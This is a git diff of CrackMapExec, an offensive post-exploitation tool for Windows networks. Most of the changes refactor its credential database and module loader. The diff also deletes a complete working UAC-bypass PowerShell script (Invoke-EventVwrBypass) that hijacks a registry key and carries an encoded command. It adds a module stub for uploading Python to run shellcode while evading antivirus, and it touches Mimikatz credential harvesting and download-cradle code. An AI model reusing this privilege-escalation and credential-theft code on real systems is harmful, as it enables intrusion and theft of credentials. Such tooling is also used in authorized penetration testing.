diff --git a/cme/cli.py b/cme/cli.py index 8069db44..81325b72 100755 --- a/cme/cli.py +++ b/cme/cli.py @@ -59,7 +59,7 @@ def gen_cli_args(): #mgroup.add_argument('-MC','--module-chain', metavar='CHAIN_COMMAND', help='Payload module chain command string to run') module_parser.add_argument('-o', metavar='MODULE_OPTION', nargs='+', default=[], dest='module_options', help='Payload module options') module_parser.add_argument('-L', '--list-modules', action='store_true', help='List available modules') - module_parser.add_argument('--options', dest='module_options', action='store_true', help='Display module options') + module_parser.add_argument('--options', dest='show_module_options', action='store_true', help='Display module options') module_parser.add_argument("--server", choices={'http', 'https'}, default='https', help='Use the selected server (default: https)') module_parser.add_argument("--server-host", type=str, default='0.0.0.0', metavar='HOST', help='IP to bind the server to (default: 0.0.0.0)') module_parser.add_argument("--server-port", metavar='PORT', type=int, help='Start the server on the specified port') diff --git a/cme/crackmapexec.py b/cme/crackmapexec.py index 13ab7b6b..cead0a7b 100755 --- a/cme/crackmapexec.py +++ b/cme/crackmapexec.py @@ -8,6 +8,7 @@ from gevent.pool import Pool from gevent import joinall from cme.logger import setup_logger, setup_debug_logger, CMEAdapter from cme.helpers.misc import gen_random_string +from cme.helpers.logger import highlight from cme.targetparser import parse_targets from cme.cli import gen_cli_args from cme.loaders.protocol_loader import protocol_loader @@ -129,7 +130,7 @@ def main(): for m in modules: logger.info('{:<25} {}'.format(m, modules[m]['description'])) - elif args.module and args.module_options: + elif args.module and args.show_module_options: modules = loader.get_modules() for m in modules.keys(): @@ -144,6 +145,14 @@ def main(): setattr(protocol_object, 'module', module) break + if getattr(module, 'opsec_safe') is False: + ans = raw_input(highlight('[!] Module is not opsec safe, are you sure you want to run this? [Y/n]', 'red')) + if ans.lower() == 'n' : sys.exit(1) + + if getattr(module, 'multiple_hosts') is False and len(targets) > 1: + ans = raw_input(highlight("[!] Running this module on multiple hosts doesn't really make any sense, are you sure you want to continue? [Y/n]", 'red')) + if ans.lower() == 'n' : sys.exit(1) + if hasattr(module, 'on_request') or hasattr(module, 'has_response'): if hasattr(module, 'required_server'): diff --git a/cme/data/7za.exe b/cme/data/7za.exe new file mode 100644 index 00000000..bd30a516 Binary files /dev/null and b/cme/data/7za.exe differ diff --git a/cme/data/Invoke-EventVwrBypass.ps1 b/cme/data/Invoke-EventVwrBypass.ps1 deleted file mode 100755 index 3f28e84d..00000000 --- a/cme/data/Invoke-EventVwrBypass.ps1 +++ /dev/null @@ -1,82 +0,0 @@ -function Invoke-EventVwrBypass { -<# -.SYNOPSIS - -Bypasses UAC by performing an image hijack on the .msc file extension -Expected to work on Win7, 8.1 and Win10 - -Only tested on Windows 7 and Windows 10 - -Author: Matt Nelson (@enigma0x3) -License: BSD 3-Clause -Required Dependencies: None -Optional Dependencies: None - -.PARAMETER Command - - Specifies the command you want to run in a high-integrity context. For example, you can pass it powershell.exe followed by any encoded command "powershell -enc " - -.EXAMPLE - -Invoke-EventVwrBypass -Command "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -enc IgBJAHMAIABFAGwAZQB2AGEAdABlAGQAOgAgACQAKAAoAFsAUwBlAGMAdQByAGkAdAB5AC4AUAByAGkAbgBjAGkAcABhAGwALgBXAGkAbgBkAG8AdwBzAFAAcgBpAG4AYwBpAHAAYQBsAF0AWwBTAGUAYwB1AHIAaQB0AHkALgBQAHIAaQBuAGMAaQBwAGEAbAAuAFcAaQBuAGQAbwB3AHMASQBkAGUAbgB0AGkAdAB5AF0AOgA6AEcAZQB0AEMAdQByAHIAZQBuAHQAKAApACkALgBJAHMASQBuAFIAbwBsAGUAKABbAFMAZQBjAHUAcgBpAHQAeQAuAFAAcgBpAG4AYwBpAHAAYQBsAC4AVwBpAG4AZABvAHcAcwBCAHUAaQBsAHQASQBuAFIAbwBsAGUAXQAnAEEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAJwApACkAIAAtACAAJAAoAEcAZQB0AC0ARABhAHQAZQApACIAIAB8ACAATwB1AHQALQBGAGkAbABlACAAQwA6AFwAVQBBAEMAQgB5AHAAYQBzAHMAVABlAHMAdAAuAHQAeAB0ACAALQBBAHAAcABlAG4AZAA=" - -This will write out "Is Elevated: True" to C:\UACBypassTest. - -#> - - [CmdletBinding(SupportsShouldProcess = $True, ConfirmImpact = 'Medium')] - Param ( - [Parameter(Mandatory = $True)] - [ValidateNotNullOrEmpty()] - [String] - $Command, - - [Switch] - $Force - ) - - $mscCommandPath = "HKCU:\Software\Classes\mscfile\shell\open\command" - #Add in the new registry entries to hijack the msc file - if ($Force -or ((Get-ItemProperty -Path $mscCommandPath -Name '(default)' -ErrorAction SilentlyContinue) -eq $null)){ - New-Item $mscCommandPath -Force | - New-ItemProperty -Name '(Default)' -Value $Command -PropertyType string -Force | Out-Null - }else{ - Write-Verbose "Key already exists, consider using -Force" - exit - } - - if (Test-Path $mscCommandPath) { - Write-Verbose "Created registry entries to hijack the msc extension" - }else{ - Write-Warning "Failed to create registry key, exiting" - exit - } - - - $EventvwrPath = Join-Path -Path ([Environment]::GetFolderPath('System')) -ChildPath 'eventvwr.exe' - - #Start Event Viewer - if ($PSCmdlet.ShouldProcess($EventvwrPath, 'Start process')) { - $Process = Start-Process -FilePath $EventvwrPath -PassThru - Write-Verbose "Started eventvwr.exe" - } - - #Sleep 5 seconds - Write-Verbose "Sleeping 5 seconds to trigger payload" - if (-not $PSBoundParameters['WhatIf']) { - Start-Sleep -Seconds 5 - } - - $mscfilePath = "HKCU:\Software\Classes\mscfile" - - if (Test-Path $mscfilePath) { - #Remove the registry entry - Remove-Item $mscfilePath -Recurse -Force - Write-Verbose "Removed registry entries" - } - - if(Get-Process -Id $Process.Id -ErrorAction SilentlyContinue){ - Stop-Process -Id $Process.Id - Write-Verbose "Killed running eventvwr process" - } -} diff --git a/cme/data/python.zip b/cme/data/python.zip new file mode 100755 index 00000000..12114c8f Binary files /dev/null and b/cme/data/python.zip differ diff --git a/cme/loaders/module_loader.py b/cme/loaders/module_loader.py index 437c799d..1291f7ad 100755 --- a/cme/loaders/module_loader.py +++ b/cme/loaders/module_loader.py @@ -32,6 +32,14 @@ class module_loader: self.logger.error('{} missing the supported_protocols variable'.format(module_path)) module_error = True + elif not hasattr(module, 'opsec_safe'): + self.logger.error('{} missing the opsec_safe variable'.format(module_path)) + module_error = True + + elif not hasattr(module, 'multiple_hosts'): + self.logger.error('{} missing the multiple_hosts variable'.format(module_path)) + module_error = True + elif not hasattr(module, 'options'): self.logger.error('{} missing the options function'.format(module_path)) module_error = True diff --git a/cme/modules/example_module.py b/cme/modules/example_module.py index e1568423..180da878 100644 --- a/cme/modules/example_module.py +++ b/cme/modules/example_module.py @@ -5,10 +5,10 @@ class CMEModule: ''' name = 'example module' - description = 'I do something' - supported_protocols = [] + opsec_safe= True #Does the module touch disk? + multiple_hosts = True #Does it make sense to run this module on multiple hosts at a time? def options(self, context, module_options): '''Required. Module options get parsed here. Additionally, put the modules usage here as well''' diff --git a/cme/modules/get_netdomaincontroller.py b/cme/modules/get_netdomaincontroller.py index 386bd3ed..8339011d 100644 --- a/cme/modules/get_netdomaincontroller.py +++ b/cme/modules/get_netdomaincontroller.py @@ -7,8 +7,12 @@ class CMEModule(): name = 'get_netdomaincontroller' description = "Wrapper for PowerView's Get-NetDomainController" supported_protocols = ['mssql', 'smb'] + opsec_safe = True + multiple_hosts = False def options(self, context, module_options): + ''' + ''' pass def on_admin_login(self, context, connection): @@ -49,7 +53,7 @@ class CMEModule(): if line != '\r\n' and not line.startswith('Name') and not line.startswith('---'): hostname, domain, ip = filter(None, line.strip().split(' ')) #logging.debug('{} {} {}'.format(hostname, domain, ip)) - context.db.add_host(ip, hostname, domain, '', dc=True) + context.db.add_computer(ip, hostname, domain, '', dc=True) dc_count += 1 context.log.success('Added {} Domain Controllers to the database'.format(highlight(dc_count))) diff --git a/cme/modules/get_netgroup.py b/cme/modules/get_netgroup.py index 641bd3b4..35d0c032 100644 --- a/cme/modules/get_netgroup.py +++ b/cme/modules/get_netgroup.py @@ -7,6 +7,8 @@ class CMEModule(): name = 'get_netgroup' description = "Wrapper for PowerView's Get-NetGroup" supported_protocols = ['mssql', 'smb'] + opsec_safe = True + multiple_hosts = False def options(self, context, module_options): ''' @@ -21,11 +23,15 @@ class CMEModule(): if module_options and 'GROUPNAME' in module_options: self.group_name = module_options['GROUPNAME'] + elif module_options and 'USERNAME' in module_options: + self.user_name = module_options['USERNAME'] + def on_admin_login(self, context, connection): self.domain = connection.conn.getServerDomain() command = 'Get-NetGroup | Out-String' if self.group_name : command = 'Get-NetGroup -GroupName {} | Out-String'.format(self.group_name) + if self.user_name: command = 'Get-NetGroup -UserName {} | Out-String'.format(self.user_name) launcher = gen_ps_iex_cradle(context.server, context.localip, context.server_port, 'PowerView.ps1', command) ps_command = create_ps_command(launcher) @@ -60,7 +66,12 @@ class CMEModule(): context.log.info('Parsing output, please wait...') buf = StringIO(data).readlines() for line in buf: - context.db.add_group(self.domain, line.strip()) + group_name = line.strip() + domain = self.domain + if self.user_name: + domain, group_name = line.strip().split('\\') + + context.db.add_group(domain, group_name) group_count += 1 - context.log.success('Added {} groups to the database'.format(highlight(group_count))) + context.log.success('Added {} group(s) to the database'.format(highlight(group_count))) diff --git a/cme/modules/get_netgroupmember.py b/cme/modules/get_netgroupmember.py deleted file mode 100644 index e69de29b..00000000 diff --git a/cme/modules/mimikatz.py b/cme/modules/mimikatz.py index 563e44dd..9cc109b3 100644 --- a/cme/modules/mimikatz.py +++ b/cme/modules/mimikatz.py @@ -12,10 +12,10 @@ class CMEModule: ''' name = 'mimikatz' - description = "Executes PowerSploit's Invoke-Mimikatz.ps1 script" - supported_protocols = ['mssql', 'smb'] + opsec_safe = True + multiple_hosts = True def options(self, context, module_options): ''' @@ -200,10 +200,10 @@ class CMEModule: for cred_set in creds: credtype, domain, username, password,_,_ = cred_set #Get the hostid from the DB - hostid = context.db.get_hosts(response.client_address[0])[0][0] + hostid = context.db.get_computers(response.client_address[0])[0][0] context.db.add_credential(credtype, domain, username, password, hostid) - context.log.success("Added {} credential(s) to the database".format(len(creds))) + context.log.success("Added {} credential(s) to the database".format(highlight(len(creds)))) log_name = 'Mimikatz-{}-{}.log'.format(response.client_address[0], datetime.now().strftime("%Y-%m-%d_%H%M%S")) write_log(data, log_name) diff --git a/cme/modules/python_injector.py b/cme/modules/python_injector.py new file mode 100644 index 00000000..2a1a6358 --- /dev/null +++ b/cme/modules/python_injector.py @@ -0,0 +1,25 @@ +class CMEModule(): + ''' + TO DO + + Idea stolen from Veil-Catapult/Veil-Pillage (https://github.com/Veil-Framework) + + Uploads a barebones python environment to a host and uses it to execute shellcode. + This is awesome for hosts where Powershell is not installed, additionally all binaries that are uploaded are signed so AV solutions will not flag on them. + + However it does touch disk. + ''' + + name = 'python_injector' + description = 'Uploads a barebones python environment and uses it to execute shellcode' + supported_protocols = ['smb'] + opsec_safe = False + multiple_hosts = True + + def options(self, context, module_options): + ''' + PATH Path to the raw shellcode to inject + ''' + + def on_admin_login(self, context, connection): + pass diff --git a/cme/protocols/smb.py b/cme/protocols/smb.py index a17c3760..dce1fd11 100755 --- a/cme/protocols/smb.py +++ b/cme/protocols/smb.py @@ -111,7 +111,7 @@ class smb(connection): if not self.domain: self.domain = self.hostname - self.db.add_host(self.host, self.hostname, self.domain, self.server_os) + self.db.add_computer(self.host, self.hostname, self.domain, self.server_os) try: ''' @@ -148,7 +148,7 @@ class smb(connection): self.db.add_credential('plaintext', domain, username, password) if self.admin_privs: - self.db.link_cred_to_host('plaintext', domain, username, password, self.host) + self.db.add_admin_user('plaintext', domain, username, password, self.host) out = u'{}\\{}:{} {}'.format(domain.decode('utf-8'), username.decode('utf-8'), @@ -189,7 +189,7 @@ class smb(connection): self.db.add_credential('hash', domain, username, ntlm_hash) if self.admin_privs: - self.db.link_cred_to_host('hash', domain, username, ntlm_hash, self.host) + self.db.add_admin_user('hash', domain, username, ntlm_hash, self.host) out = u'{}\\{} {} {}'.format(domain.decode('utf-8'), username.decode('utf-8'), diff --git a/cme/protocols/smb/database.py b/cme/protocols/smb/database.py index d5cf066f..ce6caa7d 100755 --- a/cme/protocols/smb/database.py +++ b/cme/protocols/smb/database.py @@ -15,21 +15,15 @@ class database: )''') # type = hash, plaintext - db_conn.execute('''CREATE TABLE "credentials" ( - "id" integer PRIMARY KEY, - "userid", integer, - "credtype" text, - "password" text, - "pillaged_from_computerid" integer, - FOREIGN KEY(userid) REFERENCES users(id), - FOREIGN KEY(pillaged_from_computerid) REFERENCES computers(id) - )''') - db_conn.execute('''CREATE TABLE "users" ( "id" integer PRIMARY KEY, "domain" text, "username" text, + "password" text, "local" boolean, + "credtype" text, + "pillaged_from_computerid" integer, + FOREIGN KEY(pillaged_from_computerid) REFERENCES computers(id) )''') db_conn.execute('''CREATE TABLE "groups" ( @@ -88,7 +82,7 @@ class database: # cur.close() - def add_host(self, ip, hostname, domain, os, dc=False): + def add_computer(self, ip, hostname, domain, os, dc=False): """ Check if this host has already been added to the database, if not add it in. """ @@ -102,33 +96,28 @@ class database: cur.close() - def add_credential(self, credtype, domain, username, password, pillaged_from='NULL', local=False, userID=None): + def add_credential(self, credtype, domain, username, password, pillaged_from='NULL', local=False): """ Check if this credential has already been added to the database, if not add it in. """ - self.add_user(domain, username, local) - cur = self.conn.cursor() - cur.execute("SELECT * FROM users WHERE LOWER(domain)=LOWER(?) AND LOWER(username)=LOWER(?) AND local=?", [domain, username, local]) + cur.execute("SELECT * FROM users WHERE credtype=? AND LOWER(domain)=LOWER(?) AND LOWER(username)=LOWER(?) AND password=? and local=?", [credtype, domain, username, password, local]) results = cur.fetchall() - for user in results: - userid = user[0] - cur.execute("SELECT * from credentials WHERE userid=? AND credtype=? AND password=?", [userid, credtype, password]) - results=cur.fetchall() - if not len(results): - cur.execute("INSERT INTO credentials (userid, credtype, password, pillaged_from_computerid) VALUES (?,?,?,?)", [userid, credtype, password, pillaged_from] ) + + if not len(results): + cur.execute("INSERT INTO users (domain, username, password, local, credtype, pillaged_from_computerid) VALUES (?,?,?,?,?,?)", [domain, username, password, local, credtype, pillaged_from] ) cur.close() def add_user(self, domain, username, local=False): cur = self.conn.cursor() - cur.execute("SELECT * FROM users WHERE LOWER(domain)=LOWER(?) and LOWER(username)=LOWER(?) and local=(?)", [domain, username, local]) + cur.execute("SELECT * FROM users WHERE LOWER(domain)=LOWER(?) AND LOWER(username)=LOWER(?) AND local=(?)", [domain, username, local]) results = cur.fetchall() if not len(results): - cur.execute("INSERT INTO users (domain, username, local) VALUES (?,?,?)", [domain, username, local]) + cur.execute("INSERT INTO users (domain, username, password, local, credtype, pillaged_from_computerid) VALUES (?,?,?,?,?,?)", [domain, username, 'NULL', local, 'NULL', 'NULL']) cur.close() @@ -161,12 +150,16 @@ class database: cur.execute("DELETE FROM credentials WHERE id=?", [credID]) cur.close() - def add_admin_user(self, userid, host): + def add_admin_user(self, credtype, domain, username, password, host, local=False, userid=None): cur = self.conn.cursor() - cur.execute("SELECT * FROM users WHERE userid=?", [userid]) - users = cur.fetchall() + if userid: + cur.execute("SELECT * FROM users WHERE id=?", [userid]) + users = cur.fetchall() + else: + cur.execute("SELECT * FROM users WHERE credtype=? AND LOWER(domain)=LOWER(?) AND LOWER(username)=LOWER(?) AND password=? and local=?", [credtype, domain, username, password, local]) + users = cur.fetchall() cur.execute('SELECT * FROM computers WHERE ip LIKE ?', [host]) hosts = cur.fetchall() @@ -218,7 +211,7 @@ class database: Check if this credential ID is valid. """ cur = self.conn.cursor() - cur.execute('SELECT * FROM credentials WHERE id=? LIMIT 1', [credentialID]) + cur.execute('SELECT * FROM users WHERE id=? AND password IS NOT NULL LIMIT 1', [credentialID]) results = cur.fetchall() cur.close() return len(results) > 0 @@ -232,18 +225,18 @@ class database: # if we're returning a single credential by ID if self.is_credential_valid(filterTerm): - cur.execute("SELECT * FROM credentials WHERE id=? LIMIT 1", [filterTerm]) + cur.execute("SELECT * FROM users WHERE id=? AND password IS NOT NULL LIMIT 1", [filterTerm]) # if we're filtering by credtype elif credtype: - cur.execute("SELECT * FROM credentials WHERE credtype=?", [credtype]) + cur.execute("SELECT * FROM users WHERE credtype=? AND password IS NOT NULL", [credtype]) elif userID: - cur.execute("SELECT * FROM credentials WHERE userid=?", [userID]) + cur.execute("SELECT * FROM users WHERE userid=? AND password IS NOT NULL", [userID]) # otherwise return all credentials else: - cur.execute("SELECT * FROM credentials") + cur.execute("SELECT * FROM users WHERE password IS NOT NULL") results = cur.fetchall() cur.close() @@ -277,7 +270,7 @@ class database: cur.close() return results - def is_host_valid(self, hostID): + def is_computer_valid(self, hostID): """ Check if this host ID is valid. """ @@ -287,7 +280,7 @@ class database: cur.close() return len(results) > 0 - def get_hosts(self, filterTerm=None): + def get_computers(self, filterTerm=None): """ Return hosts from the database. """ @@ -295,7 +288,7 @@ class database: cur = self.conn.cursor() # if we're returning a single host by ID - if self.is_host_valid(filterTerm): + if self.is_computer_valid(filterTerm): cur.execute("SELECT * FROM computers WHERE id=? LIMIT 1", [filterTerm]) # if we're filtering by ip/hostname diff --git a/cme/protocols/smb/db_navigator.py b/cme/protocols/smb/db_navigator.py index b0226b63..2aac2c52 100644 --- a/cme/protocols/smb/db_navigator.py +++ b/cme/protocols/smb/db_navigator.py @@ -28,18 +28,20 @@ class navigator(cmd.Cmd): print " ------ -------- -------- ------ -------- --------" for cred in creds: - # (id, credtype, domain, username, password, host, notes, sid) - credID = cred[0] - credType = cred[1] - domain = cred[2] - username = cred[3] - password = cred[4] - links = self.db.get_links(credID=credID) + credID = cred[0] + domain = cred[1] + username = cred[2] + password = cred[3] + local = cred[4] + credtype = cred[5] + pillaged_from = cred[6] + + links = self.db.get_admin_relations(userID=credID) print u" {}{}{}{}{}{}".format('{:<8}'.format(credID), '{:<13}'.format(str(len(links)) + ' Host(s)'), - '{:<12}'.format(credType), + '{:<12}'.format(credtype), u'{:<17}'.format(domain.decode('utf-8')), u'{:<21}'.format(username.decode('utf-8')), u'{:<17}'.format(password.decode('utf-8'))) @@ -48,14 +50,15 @@ class navigator(cmd.Cmd): def display_groups(self, groups): print '\nGroups:\n' - print " GroupID Name" - print " ------- ----" + print " GroupID Domain Name" + print " ------- ------ ----" for group in groups: groupID = group[0] - name = group[1] + domain = group[1] + name = group[2] - print u" {} {}".format('{:<8}'.format(groupID), '{:<15}'.format(name)) + print u" {} {} {}".format('{:<8}'.format(groupID), '{:<15}'.format(domain), '{:<15}'.format(name)) print "" @@ -73,7 +76,7 @@ class navigator(cmd.Cmd): domain = host[3] os = host[4] - links = self.db.get_links(hostID=hostID) + links = self.db.get_admin_relations(hostID=hostID) print u" {}{}{}{}{}{}".format('{:<8}'.format(hostID), '{:<15}'.format(str(len(links)) + ' Cred(s)'), @@ -184,8 +187,8 @@ class navigator(cmd.Cmd): self.display_groups(groups) elif len(groups) == 1: print '\nGroup:\n' - print " GroupID Name" - print " ------- ----" + print " GroupID Domain Name" + print " ------- ------ ----" for group in groups: groupID = group[0] @@ -198,11 +201,11 @@ class navigator(cmd.Cmd): filterTerm = line.strip() if filterTerm == "": - hosts = self.db.get_hosts() + hosts = self.db.get_computers() self.display_hosts(hosts) else: - hosts = self.db.get_hosts(filterTerm=filterTerm) + hosts = self.db.get_computers(filterTerm=filterTerm) if len(hosts) > 1: self.display_hosts(hosts) @@ -237,7 +240,7 @@ class navigator(cmd.Cmd): print " ------ -------- ------ -------- --------" for hostID in hostIDList: - links = self.db.get_links(hostID=hostID) + links = self.db.get_admin_relations(hostID=hostID) for link in links: linkID, credID, hostID = link @@ -245,13 +248,15 @@ class navigator(cmd.Cmd): for cred in creds: credID = cred[0] - credType = cred[1] - domain = cred[2] - username = cred[3] - password = cred[4] + domain = cred[1] + username = cred[2] + password = cred[3] + local = cred[4] + credtype = cred[5] + pillaged_from = cred[6] print u" {}{}{}{}{}".format('{:<8}'.format(credID), - '{:<12}'.format(credType), + '{:<12}'.format(credtype), u'{:<17}'.format(domain.decode('utf-8')), u'{:<21}'.format(username.decode('utf-8')), u'{:<17}'.format(password.decode('utf-8'))) @@ -290,7 +295,7 @@ class navigator(cmd.Cmd): return else: self.db.remove_credentials(args) - self.db.remove_links(credIDs=args) + self.db.remove_admin_relation(userIDs=args) elif filterTerm.split()[0].lower() == "plaintext": creds = self.db.get_credentials(credtype="plaintext") @@ -313,14 +318,15 @@ class navigator(cmd.Cmd): credID = cred[0] credIDList.append(credID) - credType = cred[1] - domain = cred[2] - username = cred[3] - password = cred[4] - pillaged_from = cred[5] + domain = cred[1] + username = cred[2] + password = cred[3] + local = cred[4] + credtype = cred[5] + pillaged_from = cred[6] print u" {}{}{}{}{}{}".format('{:<8}'.format(credID), - '{:<12}'.format(credType), + '{:<12}'.format(credtype), '{:<22}'.format(pillaged_from), u'{:<17}'.format(domain.decode('utf-8')), u'{:<21}'.format(username.decode('utf-8')), @@ -334,11 +340,11 @@ class navigator(cmd.Cmd): print " ------ -- -------- ------ --" for credID in credIDList: - links = self.db.get_links(credID=credID) + links = self.db.get_admin_relations(userID=credID) for link in links: linkID, credID, hostID = link - hosts = self.db.get_hosts(hostID) + hosts = self.db.get_computers(hostID) for host in hosts: hostID = host[0]